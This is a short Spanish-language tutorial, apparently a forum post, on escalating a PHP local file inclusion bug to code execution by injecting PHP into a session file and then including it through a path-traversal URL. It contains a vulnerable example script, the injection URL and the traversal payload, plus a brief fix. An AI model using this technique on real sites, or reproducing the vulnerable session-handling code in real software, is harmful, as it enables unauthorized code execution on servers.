IntroducionMuchas veces tenemos solamente un LFI y no sabemos como explotarlo, en este manual os enseñare a como ejecutar LFI teniendo una web vulnerable.
Requisitos de la web:
-Que use LFI
-Que tenga un sistema de usuarios o algún sistema que funciones con sesiones.
TeoríaSupongo que sabreis que las sesiones php te mandan una cookie (llamada PHPSSESID habitualmente) con un identificador en su interior, que a php le sirve para encontrar los valores de la cookie que se encuentran en /tmp/sess_[id]. Entonces nosotros modificaremos los valores del archivo sess_[id] introduciendo código php en su interior.
La practicaEjemplo de código vulnerable simplificado:
<?php
session_start();
$idioma = $_GET['idioma'];
$_SESSION['idioma'] = $idioma;
if($_SESSION['idioma'] == 'en')
echo 'Hi, welcome to my website';
else
echo'Hola, bienvenido a mi sitio web';
?>
Que pasaría si visitaríamos index.php?idioma=<? phpinfo(); ?>, $_SESSION[idioma] tomaría el valor de <? phpinfo(); ?>, y este código se guardaría en /tmp/sess_[id], asi que solo tendríamos que mirarel valor de la cookie que nos a lanzado 9d8edfb9f556004520e4b55fa1d98c8b y después incluirla en nuestro bug LFI asi: lfi.php?lfi=../../../../../../../../../../tmp/sess_9d8edfb9f556004520e4b55fa1d98c8b y ya habriamos ejecutado cogido php "infectando" la sesion.
SoluciónPara que esto no te pase en tus aplicaciones es recomendable pasar la sesión por htmlspecialchars, asi no podrian abrir las tags del php (<? y ?>)
Este método se me a ocurrido a mi pero bueno seguramente esta descubierto hace tiempo.
Saludos a todos
